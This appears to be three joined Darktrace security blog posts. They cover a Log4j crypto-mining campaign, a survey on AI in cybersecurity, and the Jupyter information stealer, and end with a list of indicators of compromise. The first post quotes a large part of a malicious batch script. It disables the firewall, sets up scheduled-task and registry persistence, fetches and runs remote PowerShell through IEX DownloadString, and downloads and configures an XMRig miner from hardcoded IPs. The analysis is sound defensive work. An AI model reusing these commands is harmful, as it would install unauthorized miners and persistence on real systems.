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Inside the SOC

Analyzing Log4j Vulnerability in Crypto Mining Attack

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03
Apr 2022
03
Apr 2022
Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

INSIDE THE SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
AUTHOR
ABOUT ThE AUTHOR
Hanah Darley
Director of Threat Research
Steve Robinson
Principal Consultant for Threat Detection
Ross Ellis
Principal Cyber Analyst
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Thought Leadership

The State of AI in Cybersecurity: Understanding AI Technologies

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24
Jul 2024

About the State of AI Cybersecurity Report

Darktrace surveyed 1,800 CISOs, security leaders, administrators, and practitioners from industries around the globe. Our research was conducted to understand how the adoption of new AI-powered offensive and defensive cybersecurity technologies are being managed by organizations.

This blog continues the conversation from “The State of AI in Cybersecurity: Unveiling Global Insights from 1,800 Security Practitioners”. This blog will focus on security professionals’ understanding of AI technologies in cybersecurity tools.

To access download the full report, click here.

How familiar are security professionals with supervised machine learning

Just 31% of security professionals report that they are “very familiar” with supervised machine learning.

Many participants admitted unfamiliarity with various AI types. Less than one-third felt "very familiar" with the technologies surveyed: only 31% with supervised machine learning and 28% with natural language processing (NLP).

Most participants were "somewhat" familiar, ranging from 46% for supervised machine learning to 36% for generative adversarial networks (GANs). Executives and those in larger organizations reported the highest familiarity.

Combining "very" and "somewhat" familiar responses, 77% had familiarity with supervised machine learning, 74% generative AI, and 73% NLP. With generative AI getting so much media attention, and NLP being the broader area of AI that encompasses generative AI, these results may indicate that stakeholders are understanding the topic on the basis of buzz, not hands-on work with the technologies.  

If defenders hope to get ahead of attackers, they will need to go beyond supervised learning algorithms trained on known attack patterns and generative AI. Instead, they’ll need to adopt a comprehensive toolkit comprised of multiple, varied AI approaches—including unsupervised algorithms that continuously learn from an organization’s specific data rather than relying on big data generalizations.  

Different types of AI

Different types of AI have different strengths and use cases in cyber security. It’s important to choose the right technique for what you’re trying to achieve.  

Supervised machine learning: Applied more often than any other type of AI in cyber security. Trained on human attack patterns and historical threat intelligence.  

Large language models (LLMs): Applies deep learning models trained on extremely large data sets to understand, summarize, and generate new content. Used in generative AI tools.  

Natural language processing (NLP): Applies computational techniques to process and understand human language.  

Unsupervised machine learning: Continuously learns from raw, unstructured data to identify deviations that represent true anomalies.  

What impact will generative AI have on the cybersecurity field?

More than half of security professionals (57%) believe that generative AI will have a bigger impact on their field over the next few years than other types of AI.

Chart showing the types of AI expected to impact security the most
Figure 1: Chart from Darktrace's State of AI in Cybersecurity Report

Security stakeholders are highly aware of generative AI and LLMs, viewing them as pivotal to the field's future. Generative AI excels at abstracting information, automating tasks, and facilitating human-computer interaction. However, LLMs can "hallucinate" due to training data errors and are vulnerable to prompt injection attacks. Despite improvements in securing LLMs, the best cyber defenses use a mix of AI types for enhanced accuracy and capability.

AI education is crucial as industry expectations for generative AI grow. Leaders and practitioners need to understand where and how to use AI while managing risks. As they learn more, there will be a shift from generative AI to broader AI applications.

Do security professionals fully understand the different types of AI in security products?

Only 26% of security professionals report a full understanding of the different types of AI in use within security products.

Confusion is prevalent in today’s marketplace. Our survey found that only 26% of respondents fully understand the AI types in their security stack, while 31% are unsure or confused by vendor claims. Nearly 65% believe generative AI is mainly used in cybersecurity, though it’s only useful for identifying phishing emails. This highlights a gap between user expectations and vendor delivery, with too much focus on generative AI.

Key findings include:

  • Executives and managers report higher understanding than practitioners.
  • Larger organizations have better understanding due to greater specialization.

As AI evolves, vendors are rapidly introducing new solutions faster than practitioners can learn to use them. There's a strong need for greater vendor transparency and more education for users to maximize the technology's value.

To help ease confusion around AI technologies in cybersecurity, Darktrace has released the CISO’s Guide to Cyber AI. A comprehensive white paper that categorizes the different applications of AI in cybersecurity. Download the White Paper here.  

Do security professionals believe generative AI alone is enough to stop zero-day threats?

No! 86% of survey participants believe generative AI alone is NOT enough to stop zero-day threats

This consensus spans all geographies, organization sizes, and roles, though executives are slightly less likely to agree. Asia-Pacific participants agree more, while U.S. participants agree less.

Despite expecting generative AI to have the most impact, respondents recognize its limited security use cases and its need to work alongside other AI types. This highlights the necessity for vendor transparency and varied AI approaches for effective security across threat prevention, detection, and response.

Stakeholders must understand how AI solutions work to ensure they offer advanced, rather than outdated, threat detection methods. The survey shows awareness that old methods are insufficient.

To access the full report, click here.

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Inside the SOC

Jupyter Ascending: Darktrace’s Investigation of the Adaptive Jupyter Information Stealer

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18
Jul 2024

What is Malware as a Service (MaaS)?

Malware as a Service (MaaS) is a model where cybercriminals develop and sell or lease malware to other attackers.

This approach allows individuals or groups with limited technical skills to launch sophisticated cyberattacks by purchasing or renting malware tools and services. MaaS is often provided through online marketplaces on the dark web, where sellers offer various types of malware, including ransomware, spyware, and trojans, along with support services such as updates and customer support.

The Growing MaaS Marketplace

The Malware-as-a-Service (MaaS) marketplace is rapidly expanding, with new strains of malware being regularly introduced and attracting waves of new and previous attackers. The low barrier for entry, combined with the subscription-like accessibility and lucrative business model, has made MaaS a prevalent tool for cybercriminals. As a result, MaaS has become a significant concern for organizations and their security teams, necessitating heightened vigilance and advanced defense strategies.

Examples of Malware as a Service

  • Ransomware as a Service (RaaS): Providers offer ransomware kits that allow users to launch ransomware attacks and share the ransom payments with the service provider.
  • Phishing as a Service: Services that provide phishing kits, including templates and email lists, to facilitate phishing campaigns.
  • Botnet as a Service: Renting out botnets to perform distributed denial-of-service (DDoS) attacks or other malicious activities.
  • Information Stealer: Information stealers are a type of malware specifically designed to collect sensitive data from infected systems, such as login credentials, credit card numbers, personal identification information, and other valuable data.

How does information stealer malware work?

Information stealers are an often-discussed type MaaS tool used to harvest personal and proprietary information such as administrative credentials, banking information, and cryptocurrency wallet details. This information is then exfiltrated from target networks via command-and-control (C2) communication, allowing threat actors to monetize the data. Information stealers have also increasingly been used as an initial access vector for high impact breaches including ransomware attacks, employing both double and triple extortion tactics.

After investigating several prominent information stealers in recent years, the Darktrace Threat Research team launched an investigation into indicators of compromise (IoCs) associated with another variant in late 2023, namely the Jupyter information stealer.

What is Jupyter information stealer and how does it work?

The Jupyter information stealer (also known as Yellow Cockatoo, SolarMarker, and Polazert) was first observed in the wild in late 2020. Multiple variants have since become part of the wider threat landscape, however, towards the end of 2023 a new variant was observed. This latest variant achieved greater stealth and updated its delivery method, targeting browser extensions such as Edge, Firefox, and Chrome via search engine optimization (SEO) poisoning and malvertising. This then redirects users to download malicious files that typically impersonate legitimate software, and finally initiates the infection and the attack chain for Jupyter [3][4]. In recently noted cases, users download malicious executables for Jupyter via installer packages created using InnoSetup – an open-source compiler used to create installation packages in the Windows OS.

The latest release of Jupyter reportedly takes advantage of signed digital certificates to add credibility to downloaded executables, further supplementing its already existing tactics, techniques and procedures (TTPs) for detection evasion and sophistication [4]. Jupyter does this while still maintaining features observed in other iterations, such as dropping files into the %TEMP% folder of a system and using PowerShell to decrypt and load content into memory [4]. Another reported feature includes backdoor functionality such as:

  • C2 infrastructure
  • Ability to download and execute malware
  • Execution of PowerShell scripts and commands
  • Injecting shellcode into legitimate windows applications

Darktrace Coverage of Jupyter information stealer

In September 2023, Darktrace’s Threat Research team first investigated Jupyter and discovered multiple IoCs and TTPs associated with the info-stealer across the customer base. Across most investigated networks during this time, Darktrace observed the following activity:

  • HTTP POST requests over destination port 80 to rare external IP addresses (some of these connections were also made via port 8089 and 8090 with no prior hostname lookup).
  • HTTP POST requests specifically to the root directory of a rare external endpoint.
  • Data streams being sent to unusual external endpoints
  • Anomalous PowerShell execution was observed on numerous affected networks.

Taking a further look at the activity patterns detected, Darktrace identified a series of HTTP POST requests within one customer’s environment on December 7, 2023. The HTTP POST requests were made to the root directory of an external IP address, namely 146.70.71[.]135, which had never previously been observed on the network. This IP address was later reported to be malicious and associated with Jupyter (SolarMarker) by open-source intelligence (OSINT) [5].

Device Event Log indicating several connections from the source device to the rare external IP address 146.70.71[.]135 over port 80.
Figure 1: Device Event Log indicating several connections from the source device to the rare external IP address 146.70.71[.]135 over port 80.

This activity triggered the Darktrace / NETWORK model, ‘Anomalous Connection / Posting HTTP to IP Without Hostname’. This model alerts for devices that have been seen posting data out of the network to rare external endpoints without a hostname. Further investigation into the offending device revealed a significant increase in external data transfers around the time Darktrace alerted the activity.

This External Data Transfer graph demonstrates a spike in external data transfer from the internal device indicated at the top of the graph on December 7, 2023, with a time lapse shown of one week prior.
Figure 2: This External Data Transfer graph demonstrates a spike in external data transfer from the internal device indicated at the top of the graph on December 7, 2023, with a time lapse shown of one week prior.

Packet capture (PCAP) analysis of this activity also demonstrates possible external data transfer, with the device observed making a POST request to the root directory of the malicious endpoint, 146.70.71[.]135.

PCAP of a HTTP POST request showing streams of data being sent to the endpoint, 146.70.71[.]135.
Figure 3: PCAP of a HTTP POST request showing streams of data being sent to the endpoint, 146.70.71[.]135.

In other cases investigated by the Darktrace Threat Research team, connections to the rare external endpoint 67.43.235[.]218 were detected on port 8089 and 8090. This endpoint was also linked to Jupyter information stealer by OSINT sources [6].

Darktrace recognized that such suspicious connections represented unusual activity and raised several model alerts on multiple customer environments, including ‘Compromise / Large Number of Suspicious Successful Connections’ and ‘Anomalous Connection / Multiple Connections to New External TCP Port’.

In one instance, a device that was observed performing many suspicious connections to 67.43.235[.]218 was later observed making suspicious HTTP POST connections to other malicious IP addresses. This included 2.58.14[.]246, 91.206.178[.]109, and 78.135.73[.]176, all of which had been linked to Jupyter information stealer by OSINT sources [7] [8] [9].

Darktrace further observed activity likely indicative of data streams being exfiltrated to Jupyter information stealer C2 endpoints.

Graph displaying the significant increase in the number of HTTP POST requests with No Get made by an affected device, likely indicative of Jupyter information stealer C2 activity.
Figure 4: Graph displaying the significant increase in the number of HTTP POST requests with No Get made by an affected device, likely indicative of Jupyter information stealer C2 activity.

In several cases, Darktrace was able to leverage customer integrations with other security vendors to add additional context to its own model alerts. For example, numerous customers who had integrated Darktrace with Microsoft Defender received security integration alerts that enriched Darktrace’s model alerts with additional intelligence, linking suspicious activity to Jupyter information stealer actors.

The security integration model alerts ‘Security Integration / Low Severity Integration Detection’ and (right image) ‘Security Integration / High Severity Integration Detection’, linking suspicious activity observed by Darktrace with Jupyter information stealer (SolarMarker).
Figure 5: The security integration model alerts ‘Security Integration / Low Severity Integration Detection’ and (right image) ‘Security Integration / High Severity Integration Detection’, linking suspicious activity observed by Darktrace with Jupyter information stealer (SolarMarker).

Conclusion

The MaaS ecosystems continue to dominate the current threat landscape and the increasing sophistication of MaaS variants, featuring advanced defense evasion techniques, poses significant risks once deployed on target networks.

Leveraging anomaly-based detections is crucial for staying ahead of evolving MaaS threats like Jupyter information stealer. By adopting AI-driven security tools like Darktrace / NETWORK, organizations can more quickly identify and effectively detect and respond to potential threats as soon as they emerge. This is especially crucial given the rise of stealthy information stealing malware strains like Jupyter which cannot only harvest and steal sensitive data, but also serve as a gateway to potentially disruptive ransomware attacks.

Credit to Nahisha Nobregas (Senior Cyber Analyst), Vivek Rajan (Cyber Analyst)

References

1.     https://www.paloaltonetworks.com/cyberpedia/what-is-multi-extortion-ransomware

2.     https://flashpoint.io/blog/evolution-stealer-malware/

3.     https://blogs.vmware.com/security/2023/11/jupyter-rising-an-update-on-jupyter-infostealer.html

4.     https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/Jupyter%20Infostealer%20WEB.pdf

5.     https://www.virustotal.com/gui/ip-address/146.70.71.135

6.     https://www.virustotal.com/gui/ip-address/67.43.235.218/community

7.     https://www.virustotal.com/gui/ip-address/2.58.14.246/community

8.     https://www.virustotal.com/gui/ip-address/91.206.178.109/community

9.     https://www.virustotal.com/gui/ip-address/78.135.73.176/community

Appendices

Darktrace Model Detections

  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Compromise / HTTP Beaconing to Rare Destination
  • Unusual Activity / Unusual External Data to New Endpoints
  • Compromise / Slow Beaconing Activity To External Rare
  • Compromise / Large Number of Suspicious Successful Connections
  • Anomalous Connection / Multiple Failed Connections to Rare Endpoint
  • Compromise / Excessive Posts to Root
  • Compromise / Sustained SSL or HTTP Increase
  • Security Integration / High Severity Integration Detection
  • Security Integration / Low Severity Integration Detection
  • Anomalous Connection / Multiple Connections to New External TCP Port
  • Unusual Activity / Unusual External Data Transfer

AI Analyst Incidents:

  • Unusual Repeated Connections
  • Possible HTTP Command and Control to Multiple Endpoints
  • Possible HTTP Command and Control

List of IoCs

Indicators – Type – Description

146.70.71[.]135

IP Address

Jupyter info-stealer C2 Endpoint

91.206.178[.]109

IP Address

Jupyter info-stealer C2 Endpoint

146.70.92[.]153

IP Address

Jupyter info-stealer C2 Endpoint

2.58.14[.]246

IP Address

Jupyter info-stealer C2 Endpoint

78.135.73[.]176

IP Address

Jupyter info-stealer C2 Endpoint

217.138.215[.]105

IP Address

Jupyter info-stealer C2 Endpoint

185.243.115[.]88

IP Address

Jupyter info-stealer C2 Endpoint

146.70.80[.]66

IP Address

Jupyter info-stealer C2 Endpoint

23.29.115[.]186

IP Address

Jupyter info-stealer C2 Endpoint

67.43.235[.]218

IP Address

Jupyter info-stealer C2 Endpoint

217.138.215[.]85

IP Address

Jupyter info-stealer C2 Endpoint

193.29.104[.]25

IP Address

Jupyter info-stealer C2 Endpoint

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About the author
Nahisha Nobregas
SOC Analyst
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